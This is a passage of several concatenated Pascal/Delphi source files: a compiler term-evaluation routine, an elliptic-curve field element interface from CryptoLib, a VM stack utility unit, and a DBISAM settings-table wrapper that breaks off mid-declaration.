sst_config.int_machine_p^.size_align; term.dtype_p^.size_align := term.dtype_p^.size_used; term.dtype_p^.set_n_ent := (term.dtype_p^.bits_min + sst_set_ele_per_word - 1) div sst_set_ele_per_word; term.dtype_hard := term.dtype_p^.set_dtype_final; end; { ****************************** * * Term is a nested expression. } sst_term_exp_k: begin sst_exp_eval (term.exp_exp_p^, nval_err); {evaluate nested expression} term.dtype_p := term.exp_exp_p^.dtype_p; {copy data type from expression} term.rwflag := term.exp_exp_p^.rwflag; {copy read/write flags from expression} term.dtype_hard := term.exp_exp_p^.dtype_hard; {copy data type is hard flag} term.val_fnd := term.exp_exp_p^.val_fnd; {copy value exists flag from expression} if term.val_fnd then begin {expression has known value ?} term.val := term.exp_exp_p^.val; {copy value from expression} end; end; { ****************************** * * Unrecognized term type. } otherwise sys_msg_parm_int (msg_parm[1], ord(term.ttype)); syo_error (term.str_h, 'sst', 'term_type_unknown', msg_parm, 1); end; {end of term type cases} done_term_type: {jump here if done with term type case} sst_dtype_resolve ( {set base data types of term} term.dtype_p^, dt_p, term.val.dtype); { * Handle preceeding unadic operator, if any. } if term.op1 <> sst_op1_none_k then begin {unadic operator exists ?} term.rwflag := {term with unadic operator is not writeable} term.rwflag - [sst_rwflag_write_k]; case term.val.dtype of {which base data type is term} { * Data type is INTEGER. } sst_dtype_int_k: begin {value is INTEGER} case term.op1 of sst_op1_plus_k: ; sst_op1_minus_k: if term.val_fnd then term.val.int_val := -term.val.int_val; sst_op1_1comp_k: if term.val_fnd then term.val.int_val := ~term.val.int_val; otherwise goto bad_op1; end; end; { * Data type is FLOATING POINT. } sst_dtype_float_k: begin {value is FLOATING POINT} case term.op1 of sst_op1_plus_k: ; sst_op1_minus_k: if term.val_fnd then term.val.float_val := -term.val.float_val; otherwise goto bad_op1; end; end; { * Data type is BOOLEAN. } sst_dtype_bool_k: begin {value is BOOLEAN} case term.op1 of sst_op1_not_k: if term.val_fnd then term.val.bool_val := not term.val.bool_val; otherwise goto bad_op1; end; end; { * The remaining data types are not allowed to have any unadic operator. } otherwise bad_op1: {jump here on bad unadic operator} syo_error (term.str_h, 'sst', 'operator_mismatch_unadic', nil, 0); end; {end of data type cases} end; {done handling unadic operator exists} { * Done handling unadic operator. } leave: {common exit point} if nval_err and (not term.val_fnd) then begin {need value but not possible ?} syo_error (term.str_h, 'sst', 'exp_not_const_val', nil, 0); end; return; { * Error exits. These bomb out and don't return. } arg_bad_offset: syo_error (ifarg_p^.exp_p^.str_h, 'sst', 'arg_ifunc_offset_bad', nil, 0); end;
{ *********************************************************************************** } { * CryptoLib Library * } { * Copyright (c) 2018 - 20XX Ugochukwu Mmaduekwe * } { * Github Repository <https://github.com/Xor-el> * } { * Distributed under the MIT software license, see the accompanying file LICENSE * } { * or visit http://www.opensource.org/licenses/mit-license.php. * } { * Acknowledgements: * } { * * } { * Thanks to Sphere 10 Software (http://www.sphere10.com/) for sponsoring * } { * development of this library * } { * ******************************************************************************* * } (* &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& *) unit ClpIECFieldElement; {$I ..\Include\CryptoLib.inc} interface uses ClpCryptoLibTypes, ClpLongArray, ClpBigInteger; type IECFieldElement = interface(IInterface) ['{22B107FE-0F5A-4426-BBA0-C8E641E450B8}'] function GetFieldName: String; function GetFieldSize: Int32; function GetBitLength: Int32; function GetIsOne: Boolean; function GetIsZero: Boolean; function ToBigInteger(): TBigInteger; function Add(const b: IECFieldElement): IECFieldElement; function AddOne(): IECFieldElement; function Subtract(const b: IECFieldElement): IECFieldElement; function Multiply(const b: IECFieldElement): IECFieldElement; function Divide(const b: IECFieldElement): IECFieldElement; function Negate(): IECFieldElement; function Square(): IECFieldElement; function Invert(): IECFieldElement; function Sqrt(): IECFieldElement; function MultiplyMinusProduct(const b, x, y: IECFieldElement) : IECFieldElement; function MultiplyPlusProduct(const b, x, y: IECFieldElement) : IECFieldElement; function SquareMinusProduct(const x, y: IECFieldElement): IECFieldElement; function SquarePlusProduct(const x, y: IECFieldElement): IECFieldElement; function SquarePow(pow: Int32): IECFieldElement; function TestBitZero(): Boolean; function Equals(const other: IECFieldElement): Boolean; function GetHashCode(): {$IFDEF DELPHI}Int32; {$ELSE}PtrInt; {$ENDIF DELPHI} function ToString(): String; function GetEncoded(): TCryptoLibByteArray; property FieldName: string read GetFieldName; property FieldSize: Int32 read GetFieldSize; property BitLength: Int32 read GetBitLength; property IsOne: Boolean read GetIsOne; property IsZero: Boolean read GetIsZero; end; type IAbstractFpFieldElement = interface(IECFieldElement) ['{C3FFD257-58FB-4730-B26A-E225C48F374E}'] end; type IFpFieldElement = interface(IAbstractFpFieldElement) ['{F5106EAC-DA8F-4815-8403-3D9C5438BF6F}'] function GetQ: TBigInteger; function CheckSqrt(const z: IECFieldElement): IECFieldElement; function LucasSequence(const P, Q, K: TBigInteger) : TCryptoLibGenericArray<TBigInteger>; function ModAdd(const x1, x2: TBigInteger): TBigInteger; function ModDouble(const x: TBigInteger): TBigInteger; function ModHalf(const x: TBigInteger): TBigInteger; function ModHalfAbs(const x: TBigInteger): TBigInteger; function ModInverse(const x: TBigInteger): TBigInteger; function ModMult(const x1, x2: TBigInteger): TBigInteger; function ModReduce(const x: TBigInteger): TBigInteger; function ModSubtract(const x1, x2: TBigInteger): TBigInteger; property Q: TBigInteger read GetQ; end; type IAbstractF2mFieldElement = interface(IECFieldElement) ['{EA6B19A3-77AF-4EDE-A96B-D736DBD71B81}'] function Trace(): Int32; function HalfTrace(): IECFieldElement; end; type IF2mFieldElement = interface(IAbstractF2mFieldElement) ['{1B29CD22-21C3-424B-9496-BF5F1E4662E8}'] // /** // * The exponent <code>m</code> of <code>F<sub>2<sup>m</sup></sub></code>. // */ function GetM: Int32; /// <summary> /// Tpb or Ppb. /// </summary> function GetRepresentation: Int32; function GetKs: TCryptoLibInt32Array; function GetX: TLongArray; function GetK1: Int32; function GetK2: Int32; function GetK3: Int32; // /** // * @return the representation of the field // * <code>F<sub>2<sup>m</sup></sub></code>, either of // * {@link F2mFieldElement.Tpb} (trinomial // * basis representation) or // * {@link F2mFieldElement.Ppb} (pentanomial // * basis representation). // */ property Representation: Int32 read GetRepresentation; // /** // * @return the degree <code>m</code> of the reduction polynomial // * <code>f(z)</code>. // */ property m: Int32 read GetM; // /** // * @return Tpb: The integer <code>k</code> where <code>x<sup>m</sup> + // * x<sup>k</sup> + 1</code> represents the reduction polynomial // * <code>f(z)</code>.<br/> // * Ppb: The integer <code>k1</code> where <code>x<sup>m</sup> + // * x<sup>k3</sup> + x<sup>k2</sup> + x<sup>k1</sup> + 1</code> // * represents the reduction polynomial <code>f(z)</code>.<br/> // */ property k1: Int32 read GetK1; // /** // * @return Tpb: Always returns <code>0</code><br/> // * Ppb: The integer <code>k2</code> where <code>x<sup>m</sup> + // * x<sup>k3</sup> + x<sup>k2</sup> + x<sup>k1</sup> + 1</code> // * represents the reduction polynomial <code>f(z)</code>.<br/> // */ property k2: Int32 read GetK2; // /** // * @return Tpb: Always set to <code>0</code><br/> // * Ppb: The integer <code>k3</code> where <code>x<sup>m</sup> + // * x<sup>k3</sup> + x<sup>k2</sup> + x<sup>k1</sup> + 1</code> // * represents the reduction polynomial <code>f(z)</code>.<br/> // */ property k3: Int32 read GetK3; property ks: TCryptoLibInt32Array read GetKs; /// <summary> /// The <c>LongArray</c> holding the bits. /// </summary> property x: TLongArray read GetX; end; implementation end.
unit svm_utils; {$mode objfpc}{$H+} interface uses Classes, SysUtils; type TInstructionPointer = cardinal; PInstructionPointer = ^TInstructionPointer; {***** Stack ******************************************************************} const StackBlockSize = 256; type TStack = object public items: array of pointer; size, i_pos: cardinal; parent_vm: pointer; procedure init(vm: pointer); procedure push(p: pointer); function peek: pointer; procedure pop; function popv: pointer; procedure swp; procedure drop; end; PStack = ^TStack; {***** CallBack stack *********************************************************} const CallBackStackBlockSize = 1024; type TCallBackStack = object public items: array of TInstructionPointer; i_pos, size: cardinal; procedure init; procedure push(ip: TInstructionPointer); function peek: TInstructionPointer; function popv: TInstructionPointer; procedure pop; end; PCallBackStack = ^TCallBackStack; implementation procedure TStack.init(vm: pointer); begin SetLength(items, StackBlockSize); i_pos := 0; size := StackBlockSize; parent_vm := vm; end; procedure TStack.push(p: pointer); inline; begin items[i_pos] := p; Inc(i_pos); if i_pos >= size then begin size := size + StackBlockSize; SetLength(items, size); end; end; function TStack.peek: pointer; inline; begin Result := items[i_pos - 1]; end; procedure TStack.pop; inline; begin Dec(i_pos); if size - i_pos > StackBlockSize then begin size := size - StackBlockSize; SetLength(items, size); end; end; function TStack.popv: pointer; inline; begin Dec(i_pos); Result := items[i_pos]; if size - i_pos > StackBlockSize then begin size := size - StackBlockSize; SetLength(items, size); end; end; procedure TStack.swp; inline; var p: pointer; begin p := items[i_pos - 2]; items[i_pos - 2] := items[i_pos - 1]; items[i_pos - 1] := p; end; procedure TStack.drop; inline; begin SetLength(items, StackBlockSize); size := StackBlockSize; i_pos := 0; end; procedure TCallBackStack.init; begin SetLength(items, CallBackStackBlockSize); i_pos := 0; size := CallBackStackBlockSize; Push(High(TInstructionPointer)); end; procedure TCallBackStack.push(ip: TInstructionPointer); inline; begin items[i_pos] := ip; Inc(i_pos); if i_pos >= size then begin size := size + CallBackStackBlockSize; SetLength(items, size); end; end; function TCallBackStack.popv: TInstructionPointer; inline; begin Dec(i_pos); Result := items[i_pos]; end; function TCallBackStack.peek: TInstructionPointer; inline; begin Result := items[i_pos - 1]; end; procedure TCallBackStack.pop; inline; begin Dec(i_pos); if size - i_pos > CallBackStackBlockSize then begin size := size - CallBackStackBlockSize; SetLength(items, size); end; end; end.
unit TTSSETUPTable; interface uses Classes, DB, DBISAMTb, SysUtils, DBISAMTableAU, DataBuf; type TTTSSETUPRecord = record PRecordID: Integer; PModCount: Integer; PPrimaryPageName: String; PFilePackageName: String; PParentPageName: String; PCustomerAccessName: String; PLabel1: String; PLabel2: String; PLabel3: String; PLabel4: String; PHttp: String; PCopyright: String; PFaxNumber: String; PDataCaddy: Boolean; PStdNtcMargin: Integer; PSiteID: String; PNetPassword: String; PUpdateMethod: Integer; PLanConnection: Boolean; PDialup: String; PDialUser: String; PDialPassword: String; PDefaultLenderOpts: String; PCIFDateOption: String; PSplashScreen:Boolean; PDataCaddyVersion : String; PRegExp1: String; PRegExp2: String; PCoreLink: Boolean; PAutoComplete :Boolean; PAutoDCStart: String; PCifAddlField:Boolean; end; TTTSSETUPBuffer = class(TDataBuf) protected function PtrIndex(Index:integer):Pointer;override; public Data: TTTSSETUPRecord; function FieldNameToIndex(s:string):integer;override; function FieldType(index:integer):TFieldType;override; end; TEITTSSETUP = (TTSSETUPPrimaryKey); TTTSSETUPTable = class( TDBISAMTableAU ) private FDFRecordID: TAutoIncField; FDFModCount: TIntegerField; FDFPrimaryPageName: TStringField; FDFFilePackageName: TStringField; FDFParentPageName: TStringField; FDFCustomerAccessName: TStringField; FDFLabel1: TStringField; FDFLabel2: TStringField; FDFLabel3: TStringField; FDFLabel4: TStringField; FDFHttp: TStringField; FDFCopyright: TStringField; FDFOptions: TBlobField; FDFFaxNumber: TStringField; FDFDataCaddy: TBooleanField; FDFStdNtcMargin: TIntegerField; FDFSiteID: TStringField; FDFNetPassword: TStringField; FDFUpdateMethod: TIntegerField; FDFLanConnection: TBooleanField; FDFDialup: TStringField; FDFDialUser: TStringField; FDFDialPassword: TStringField; FDFDefaultLenderOpts: TStringField; FDFDefaultCaptions: TBlobField; FDFCIFDateOption: TStringField; FDFSplashScreen : TBooleanField; FDFDataCaddyVersion :TStringField; FDFRegExp1: TStringField; FDFRegExp2: TStringField; FDFCoreLink: TBooleanField; FDFAutoComplete: TBooleanField; FDFAutoDCStart : TStringField; FDFCifAddlField :TBooleanField; procedure SetPModCount(const Value: Integer); function GetPModCount:Integer; procedure SetPPrimaryPageName(const Value: String); function GetPPrimaryPageName:String; procedure SetPFilePackageName(const Value: String); function GetPFilePackageName:String; procedure SetPParentPageName(const Value: String); function GetPParentPageName:String; procedure SetPCustomerAccessName(const Value: String); function GetPCustomerAccessName:String; procedure SetPLabel1(const Value: String); function GetPLabel1:String; procedure SetPLabel2(const Value: String); function GetPLabel2:String; procedure SetPLabel3(const Value: String); function GetPLabel3:String; procedure SetPLabel4(const Value: String); function GetPLabel4:String; procedure SetPHttp(const Value: String); function GetPHttp:String; procedure SetPCopyright(const Value: String); function GetPCopyright:String; procedure SetPFaxNumber(const Value: String); function GetPFaxNumber:String; procedure SetPDataCaddy(const Value: Boolean); function GetPDataCaddy:Boolean; procedure SetPStdNtcMargin(const Value: Integer); function GetPStdNtcMargin:Integer; procedure SetPSiteID(const Value: String); function GetPSiteID:String; procedure SetPNetPassword(const Value: String); function GetPNetPassword:String; procedure SetPUpdateMethod(const Value: Integer); function GetPUpdateMethod:Integer; procedure SetPLanConnection(const Value: Boolean); function GetPLanConnection:Boolean; procedure SetPDialup(const Value: String); function GetPDialup:String; procedure SetPDialUser(const Value: String); function GetPDialUser:String; procedure SetPDialPassword(const Value: String); function GetPDialPassword:String; procedure SetPDefaultLenderOpts(const Value: String); function GetPDefaultLenderOpts:String; procedure SetPCIFDateOption(const Value: String); function GetPCIFDateOption:String; procedure SetPSplashScreen(const Value: Boolean); function GetPSplashScreen:Boolean; procedure SetPDataCaddyVersion(const Value: String); function GetPDataCaddyVersion:String; procedure SetPregExp1(const Value: String); function GetPregExp1:String; procedure SetPregExp2(const Value: String); function GetPregExp2:String; procedure SetPCoreLink(const Value: Boolean); function GetPCoreLink:Boolean; procedure SetPAutoComplete(const Value: Boolean); function GetPAutoComplete:Boolean; procedure SetPAutoDCStart(const Value: String); function GetPAutoDCStart:String; procedure SetPCifAddlField(const Value: Boolean); function GetPCifAddlField:Boolean; procedure SetEnumIndex(Value: TEITTSSETUP); function GetEnumIndex: TEITTSSETUP; protected procedure CreateFields; reintroduce; procedure SetActive(Value: Boolean); override; procedure LoadFieldDefs(AStringList:TStringList);override; procedure LoadIndexDefs(AStringList:TStringList);override; public function GetDataBuffer:TTTSSETUPRecord; procedure StoreDataBuffer(ABuffer:TTTSSETUPRecord); property DFRecordID: TAutoIncField read FDFRecordID; property DFModCount: TIntegerField read FDFModCount; property DFPrimaryPageName: TStringField read FDFPrimaryPageName; property DFFilePackageName: TStringField read FDFFilePackageName; property DFParentPageName: TStringField read FDFParentPageName; property DFCustomerAccessName: TStringField read FDFCustomerAccessName; property DFLabel1: TStringField read FDFLabel1; property DFLabel2: TStringField read FDFLabel2; property DFLabel3: TStringField read FDFLabel3; property DFLabel4: TStringField read FDFLabel4; property DFHttp: TStringField read FDFHttp; property DFCopyright: TStringField read FDFCopyright; property DFOptions: TBlobField read FDFOptions; property DFFaxNumber: TStringField read FDFFaxNumber; property DFDataCaddy: TBooleanField read FDFDataCaddy; property DFStdNtcMargin: TIntegerField read FDFStdNtcMargin; property DFSiteID: TStringField read FDFSiteID; property DFNetPassword: TStringField read FDFNetPassword; property DFUpdateMethod: TIntegerField read FDFUpdateMethod; property DFLanConnection: TBooleanField read FDFLanConnection; property DFDialup: TStringField read FDFDialup; property DFDialUser: TStringField read FDFDialUser; property DFDialPassword: TStringField read FDFDialPassword; property DFDefaultLenderOpts: TStringField read FDFDefaultLenderOpts; property DFDefaultCaptions: TBlobField read FDFDefaultCaptions; property DFCIFDateOption: TStringField read FDFCIFDateOption; property DFSplashScreen: TBooleanField read FDFSplashScreen; Property DFDataCaddyVersion: TStringField read FDFDataCaddyVersion; property DFRegExp1: TStringField read FDFRegExp1; property DFRegExp2: TStringField read FDFRegExp2; property DFCoreLink: TBooleanField read FDFCoreLink; property DFAutoComplete: TBooleanField read FDFAutoComplete; property DFAutoDCStart: TStringField read FDFAutoDCStart; property DFCifAddlField :TBooleanField read FDFCifAddlField; property PModCount: Integer read GetPModCount write SetPModCount; property PPrimaryPageName: String read GetPPrimaryPageName write SetPPrimaryPageName; property PFilePackageName: String read GetPFilePackageName write SetPFilePackageName; property PParentPageName: String read GetPParentPageName write SetPParentPageName; property PCustomerAccessName: String read GetPCustomerAccessName write SetPCustomerAccessName; property PLabel1: String read GetPLabel1 write SetPLabel1; property PLabel2: String read GetPLabel2 write SetPLabel2; property PLabel3: String read GetPLabel3 write SetPLabel3; property PLabel4: String read GetPLabel4 write SetPLabel4; property PHttp: String read GetPHttp write SetPHttp; property PCopyright: String read GetPCopyright write SetPCopyright; property PFaxNumber: String read GetPFaxNumber write SetPFaxNumber; property PDataCaddy: Boolean read GetPDataCaddy write SetPDataCaddy; property PStdNtcMargin: Integer read GetPStdNtcMargin write SetPStdNtcMargin; property PSiteID: String read GetPSiteID write SetPSiteID; property PNetPassword: String read GetPNetPassword write SetPNetPassword; property PUpdateMethod: Integer read GetPUpdateMethod write SetPUpdateMethod; property PLanConnection: Boolean read GetPLanConnection write SetPLanConnection; property PDialup: String read GetPDialup write SetPDialup; property PDialUser: String read GetPDialUser write SetPDialUser; property PDialPassword: String read GetPDialPassword write SetPDialPassword; property PDefaultLenderOpts: String read GetPDefaultLenderOpts write SetPDefaultLenderOpts; property PCIFDateOption: String read GetPCIFDateOption write SetPCIFDateOption; property PSplashScreen: Boolean read GetPSplashScreen write SetPSplashScreen; property PDataCaddyVersion: String read GetPDataCaddyVersion write SetPDataCaddyVersion; property PRegExp1: string read GetPregExp1 write SetPregExp1; property PRegExp2: string read GetPregExp2 write SetPregExp2; property PCoreLink: Boolean read GetPCoreLink write SetPCoreLink; property PAutoComplete: Boolean read GetPAutoComplete write SetPAutoComplete; property PAutoDCStart :string read GetPAutoDCStart write SetPAutoDCStart; property PCifAddlField : Boolean read GetPCifAddlField write SetPCifAddlField; published property Active write SetActive; property EnumIndex: TEITTSSETUP read GetEnumIndex write SetEnumIndex; end; { TTTSSETUPTable } procedure Register; implementation procedure TTTSSETUPTable.CreateFields; begin FDFRecordID := CreateField( 'RecId' ) as TAutoIncField; //VG 260717: RecordId is a reserved name in DBISAM4 and can not be used FDFModCount := CreateField( 'ModCount' ) as TIntegerField; FDFPrimaryPageName := CreateField( 'PrimaryPageName' ) as TStringField; FDFFilePackageName := CreateField( 'FilePackageName' ) as TStringField; FDFParentPageName := CreateField( 'ParentPageName' ) as TStringField; FDFCustomerAccessName := CreateField( 'CustomerAccessName' ) as TStringField; FDFLabel1 := CreateField( 'Label1' ) as TStringField; FDFLabel2 := CreateField( 'Label2' ) as TStringField; FDFLabel3 := CreateField( 'Label3' ) as TStringField; FDFLabel4 := CreateField( 'Label4' ) as TStringField; FDFHttp := CreateField( 'Http' ) as TStringField; FDFCopyright := CreateField( 'Copyright' ) as TStringField; FDFOptions := CreateField( 'Options' ) as TBlobField; FDFFaxNumber := CreateField( 'FaxNumber' ) as TStringField; FDFDataCaddy := CreateField( 'DataCaddy' ) as TBooleanField; FDFStdNtcMargin := CreateField( 'StdNtcMargin' ) as TIntegerField; FDFSiteID := CreateField( 'SiteID' ) as TStringField; FDFNetPassword := CreateField( 'NetPassword' ) as TStringField; FDFUpdateMethod := CreateField( 'UpdateMethod' ) as TIntegerField; FDFLanConnection := CreateField( 'LanConnection' ) as TBooleanField; FDFDialup := CreateField( 'Dialup' ) as TStringField; FDFDialUser := CreateField( 'DialUser' ) as TStringField; FDFDialPassword := CreateField( 'DialPassword' ) as TStringField; FDFDefaultLenderOpts := CreateField( 'DefaultLenderOpts' ) as TStringField; FDFDefaultCaptions := CreateField( 'DefaultCaptions' ) as TBlobField; FDFCIFDateOption := CreateField( 'CIFDateOption' ) as TStringField; FDFSplashScreen := CreateField( 'SplashScreen' ) as TBooleanField; FDFDataCaddyVersion := CreateField( 'DataCaddyVersion' ) as TStringField; FDFRegExp1 := CreateField( 'RegExp1' ) as TStringField; FDFRegExp2 := CreateField( 'RegExp2' ) as TStringField; FDFCoreLink := CreateField( 'CoreLink') as TBooleanField; FDFAutoComplete := CreateField( 'AutoComplete') as TBooleanField; FDFAutoDCStart := CreateField( 'AutoDCStart' ) as TStringField; FDFCifAddlField := CreateField('CifAddlField' ) as TBooleanField; end; { TTTSSETUPTable.CreateFields } procedure TTTSSETUPTable.SetActive(Value: Boolean); begin inherited SetActive(Value); if Active then CreateFields; end; { TTTSSETUPTable.SetActive } procedure TTTSSETUPTable.SetPModCount(const Value: Integer); begin DFModCount.Value := Value; end; function TTTSSETUPTable.GetPModCount:Integer; begin result := DFModCount.Value; end; procedure TTTSSETUPTable.SetPPrimaryPageName(const Value: String); begin DFPrimaryPageName.AsString := Value; end; function TTTSSETUPTable.GetPPrimaryPageName:String; begin result := DFPrimaryPageName.AsString; end; procedure TTTSSETUPTable.SetPFilePackageName(const Value: String); begin DFFilePackageName.AsString := Value; end; function TTTSSETUPTable.GetPFilePackageName:String; begin result := DFFilePackageName.AsString; end; procedure TTTSSETUPTable.SetPParentPageName(const Value: String); begin DFParentPageName.AsString := Value; end; function TTTSSETUPTable.GetPParentPageName:String; begin result := DFParentPageName.AsString; end; procedure TTTSSETUPTable.SetPCustomerAccessName(const Value: String); begin DFCustomerAccessName.AsString := Value; end; function TTTSSETUPTable.GetPCustomerAccessName:String; begin result := DFCustomerAccessName.AsString; end; procedure TTTSSETUPTable.SetPLabel1(const Value: String); begin DFLabel1.AsString := Value; end; function TTTSSETUPTable.GetPLabel1:String; begin result := DFLabel1.AsString; end; procedure TTTSSETUPTable.SetPLabel2(const Value: String); begin DFLabel2.AsString := Value; end; function TTTSSETUPTable.GetPLabel2:String; begin result := DFLabel2.AsString; end; procedure TTTSSETUPTable.SetPLabel3(const Value: String); begin DFLabel3.AsString := Value; end; function TTTSSETUPTable.GetPLabel3:String; begin result := DFLabel3.AsString; end; procedure TTTSSETUPTable.SetPLabel4(const Value: String); begin DFLabel4.Value := Value; end; function TTTSSETUPTable.GetPLabel4:String; begin result := DFLabel4.Value; end; procedure TTTSSETUPTable.SetPHttp(const Value: String); begin DFHttp.AsString := Value; end; function TTTSSETUPTable.GetPHttp:String; begin result := DFHttp.AsString; end; procedure TTTSSETUPTable.SetPCopyright(const Value: String); begin DFCopyright.AsString := Value; end; function TTTSSETUPTable.GetPCopyright:String; begin result := DFCopyright.AsString; end; procedure TTTSSETUPTable.SetPFaxNumber(const Value: String); begin DFFaxNumber.AsString := Value; end; function TTTSSETUPTable.GetPFaxNumber:String; begin result := DFFaxNumber.AsString; end; procedure TTTSSETUPTable.SetPDataCaddy(const Value: Boolean); begin DFDataCaddy.Value := Value; end; function TTTSSETUPTable.GetPDataCaddy:Boolean; begin result := DFDataCaddy.Value; end; procedure TTTSSETUPTable.SetPStdNtcMargin(const Value: Integer); begin DFStdNtcMargin.Value := Value; end; function TTTSSETUPTable.GetPStdNtcMargin:Integer; begin result := DFStdNtcMargin.Value; end; procedure TTTSSETUPTable.SetPSiteID(const Value: String); begin DFSiteID.AsString := Value; end; function TTTSSETUPTable.GetPSiteID:String; begin result := DFSiteID.AsString; end; procedure TTTSSETUPTable.SetPNetPassword(const Value: String); begin DFNetPassword.AsString := Value; end; function TTTSSETUPTable.GetPNetPassword:String; begin result := DFNetPassword.AsString; end; procedure TTTSSETUPTable.SetPUpdateMethod(const Value: Integer); begin DFUpdateMethod.Value := Value; end; function TTTSSETUPTable.GetPUpdateMethod:Integer; begin result := DFUpdateMethod.Value; end; procedure TTTSSETUPTable.SetPLanConnection(const Value: Boolean); begin DFLanConnection.Value := Value; end; function TTTSSETUPTable.GetPLanConnection:Boolean; begin result := DFLanConnection.Value; end; procedure TTTSSETUPTable.SetPDialup(const Value: String); begin DFDialup.AsString := Value; end; function TTTSSETUPTable.GetPDialup:String; begin result := DFDialup.AsString; end; procedure TTTSSETUPTable.SetPDialUser(const Value: String); begin DFDialUser.AsString := Value; end; function TTTSSETUPTable.GetPDialUser:String; begin result := DFDialUser.AsString; end; procedure TTTSSETUPTable.SetPDialPassword(const Value: String); begin DFDialPassword.AsString := Value; end; function TTTSSETUPTable.GetPDialPassword:String; begin result := DFDialPassword.AsString; end; procedure TTTSSETUPTable.SetPDefaultLenderOpts(const Value: String); begin DFDefaultLenderOpts.AsString := Value; end; function TTTSSETUPTable.GetPDefaultLenderOpts:String; begin result := DFDefaultLenderOpts.Value; end; procedure TTTSSETUPTable.SetPCIFDateOption(const Value: String); begin DFCIFDateOption.Value := Value; end; function TTTSSETUPTable.GetPCIFDateOption:String; begin result := DFCIFDateOption.Value; end; procedure TTTSSETUPTable.LoadFieldDefs(AStringList: TStringList); begin inherited; with AstringList do begin Add('RecId, AutoInc, 0, N'); //VG 260717: RecordId is a reserved name in DBISAM4 and can not be used Add('ModCount, Integer, 0, N'); Add('PrimaryPageName, String, 15, N'); Add('FilePackageName, String, 15, N'); Add('ParentPageName, String, 15, N'); Add('CustomerAccessName, String, 15, N'); Add('Label1, String, 40, N'); Add('Label2, String, 40, N'); Add('Label3, String, 40, N'); Add('Label4, String, 40, N'); Add('Http, String, 40, N'); Add('Copyright, String, 40, N'); Add('Options, Memo, 0, N'); Add('FaxNumber, String, 15, N'); Add('DataCaddy, Boolean, 0, N'); Add('StdNtcMargin, Integer, 0, N'); Add('SiteID, String, 4, N'); Add('NetPassword, String, 10, N'); Add('UpdateMethod, Integer, 0, N'); Add('LanConnection, Boolean, 0, N'); Add('Dialup, String, 40, N'); Add('DialUser, String, 15, N'); Add('DialPassword, String, 15, N'); Add('DefaultLenderOpts, String, 99, N'); Add('DefaultCaptions, Memo, 0, N'); Add('CIFDateOption, String, 8, N'); Add('SplashScreen, Boolean, 0, N'); Add('DataCaddyVersion,String,1,N'); Add('RegExp1, String, 150, N'); Add('RegExp2, String, 150, N'); Add('CoreLink,Boolean, 0, N') ; Add('AutoComplete,Boolean, 0, N') ; Add('AutoDCStart,String,20,N'); Add('CifAddlField,Boolean,0,N'); end; end; procedure TTTSSETUPTable.LoadIndexDefs(AStringList: TStringList); begin inherited; with AstringList do begin Add('PrimaryKey, RecId, Y, Y, N, N'); end; end; procedure TTTSSETUPTable.SetEnumIndex(Value: TEITTSSETUP); begin case Value of TTSSETUPPrimaryKey : IndexName := ''; end; end; function TTTSSETUPTable.GetDataBuffer:TTTSSETUPRecord; begin Result := Default(TTTSSETUPRecord); Result.PRecordID := DFRecordID.Value; Result.PModCount := DFModCount.Value; Result.PPrimaryPageName := DFPrimaryPageName.Value; Result.PFilePackageName := DFFilePackageName.Value; Result.PParentPageName := DFParentPageName.Value; Result.PCustomerAccessName := DFCustomerAccessName.Value; Result.PLabel1 := DFLabel1.Value; Result.PLabel2 := DFLabel2.Value; Result.PLabel3 := DFLabel3.Value; Result.PLabel4 := DFLabel4.Value; Result.PHttp := DFHttp.Value; Result.PCopyright := DFCopyright.Value; Result.PFaxNumber := DFFaxNumber.Value; Result.PDataCaddy := DFDataCaddy.Value; Result.PStdNtcMargin := DFStdNtcMargin.Value; Result.PSiteID := DFSiteID.Value; Result.PNetPassword := DFNetPassword.Value; Result.PUpdateMethod := DFUpdateMethod.Value; Result.PLanConnection := DFLanConnection.Value; Result.PDialup := DFDialup.Value; Result.PDialUser := DFDialUser.Value; Result.PDialPassword := DFDialPassword.Value; Result.PDefaultLenderOpts := DFDefaultLenderOpts.Value; Result.PCIFDateOption := DFCIFDateOption.Value; Result.PSplashScreen := DFSplashScreen.Value ; Result.PDataCaddyVersion := DFDataCaddyVersion.Value; Result.PregExp1 := DFRegExp1.Value; Result.PregExp2 := DFRegExp2.Value; Result.PCoreLink := DFCoreLink.Value; Result.PAutoComplete := DFAutoComplete.Value; Result.PAutoDCStart := DFAutoDCStart.Value; Result.PCifAddlField := DFCifAddlField.Value; end; procedure TTTSSETUPTable.StoreDataBuffer(ABuffer:TTTSSETUPRecord); begin DFModCount.Value := ABuffer.PModCount; DFPrimaryPageName.Value := ABuffer.PPrimaryPageName; DFFilePackageName.Value := ABuffer.PFilePackageName; DFParentPageName.Value := ABuffer.PParentPageName; DFCustomerAccessName.Value := ABuffer.PCustomerAccessName; DFLabel1.Value := ABuffer.PLabel1; DFLabel2.Value := ABuffer.PLabel2; DFLabel3.Value := ABuffer.PLabel3; DFLabel4.Value := ABuffer.PLabel4; DFHttp.Value := ABuffer.PHttp; DFCopyright.Value := ABuffer.PCopyright; DFFaxNumber.Value := ABuffer.PFaxNumber; DFDataCaddy.Value := ABuffer.PDataCaddy; DFStdNtcMargin.Value := ABuffer.PStdNtcMargin; DFSiteID.Value := ABuffer.PSiteID; DFNetPassword.Value := ABuffer.PNetPassword; DFUpdateMethod.Value := ABuffer.PUpdateMethod; DFLanConnection.Value := ABuffer.PLanConnection; DFDialup.Value := ABuffer.PDialup; DFDialUser.Value := ABuffer.PDialUser; DFDialPassword.Value := ABuffer.PDialPassword; DFDefaultLenderOpts.Value := ABuffer.PDefaultLenderOpts; DFCIFDateOption.Value := ABuffer.PCIFDateOption; DFSplashScreen.value := Abuffer.PSplashScreen ; DFDataCaddyVersion.Value := abuffer.PDataCaddyVersion ; DFRegExp1.Value := ABuffer.PregExp1; DFRegExp2.Value := ABuffer.PregExp2; DFCoreLink.Value := ABuffer.PCoreLink; DFAutoComplete.Value := ABuffer.PAutoComplete; DFAutoDCStart.Value := ABuffer.PAutoDCStart; DFCifAddlField.Value := ABuffer.PCifAddlField; end; function TTTSSETUPTable.GetEnumIndex: TEITTSSETUP; var iname : string; begin result := TTSSETUPPrimaryKey; iname := uppercase(indexname); if iname = '' then result := TTSSETUPPrimaryKey; end; (********************************************) (************ Register Component ************) (********************************************) procedure Register; begin RegisterComponents( 'TTS Tables', [ TTTSSETUPTable, TTTSSETUPBuffer ] ); end; { Register } function TTTSSETUPBuffer.FieldNameToIndex(s:string):integer; const flist:array[1..32] of string = 